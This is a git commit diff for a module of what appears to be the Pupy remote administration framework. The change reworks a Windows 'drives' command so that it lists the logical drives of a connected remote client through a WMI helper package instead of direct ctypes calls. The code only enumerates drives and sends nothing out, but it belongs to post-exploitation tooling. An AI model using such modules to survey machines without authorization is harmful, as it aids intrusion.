list drives

This commit is contained in:
Alessandro ZANNI 2016-10-03 16:44:41 +02:00
parent 5d717cefe6
commit 1b5a1af7aa
1 changed files with 14 additions and 18 deletions

View File

@ -1,26 +1,22 @@
# -*- coding: UTF8 -*-
from pupylib.PupyModule import *
import ctypes
# import ctypes
from pupylib.utils.rpyc_utils import redirected_stdio
__class_name__="Drives"
@config(compat="windows", category="admin")
class Drives(PupyModule):
""" List valid drives in the system """
""" List valid drives in the system """
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="drives", description=self.__doc__)
dependencies=["win32api","win32com","pythoncom","winerror"]
def run(self, args):
blen = self.client.conn.modules['ctypes'].c_uint(128)
rv = self.client.conn.modules['ctypes'].c_uint()
bufs = self.client.conn.modules['ctypes'].create_string_buffer(128)
rv = self.client.conn.modules['ctypes'].windll.kernel32.GetLogicalDriveStringsA(blen, bufs)
if rv == 0:
self.log('Error retrieving logical drives')
drives = bufs.raw.split('\0')
for drive in drives:
if drive:
self.log('- %s' % drive)
else:
break
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="drives", description=self.__doc__)
def run(self, args):
self.client.load_package("wmi")
self.client.load_package("pupwinutils.drives")
with redirected_stdio(self.client.conn):
self.client.conn.modules['pupwinutils.drives'].list_drives()